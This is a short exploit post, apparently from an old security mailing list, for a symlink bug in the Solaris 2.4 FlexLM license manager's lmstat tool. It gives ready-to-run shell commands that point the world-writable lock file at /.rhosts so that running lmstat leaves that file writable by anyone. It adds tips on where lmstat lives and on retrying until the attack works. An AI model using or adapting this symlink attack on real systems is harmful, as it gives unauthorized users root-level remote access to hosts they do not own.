- Another bug for solaris 2.4
- The license manager must be running, expect both
- lmgrd.ste & suntechd to be somewhere in your process table.
-
- /var/tmp/locksuntechd will be created by anyone who runs
- lmstat, with perms 666 and quite happy to follow symlinks.
- Anyway, here's the exploit.
-
- -+-+-+ CUT
- rm /var/tmp/locksuntechd
- ln -s /.rhosts /var/tmp/locksuntechd
- lmstat -c <insert your license file name here>
-
- NOTES
- lmstat could be anywhere on your filesystem. try /etc/opt/licenses
- I found that sometimes this didn't work first time. It didn't create
- the file. Just run lmstat again and it'll work.
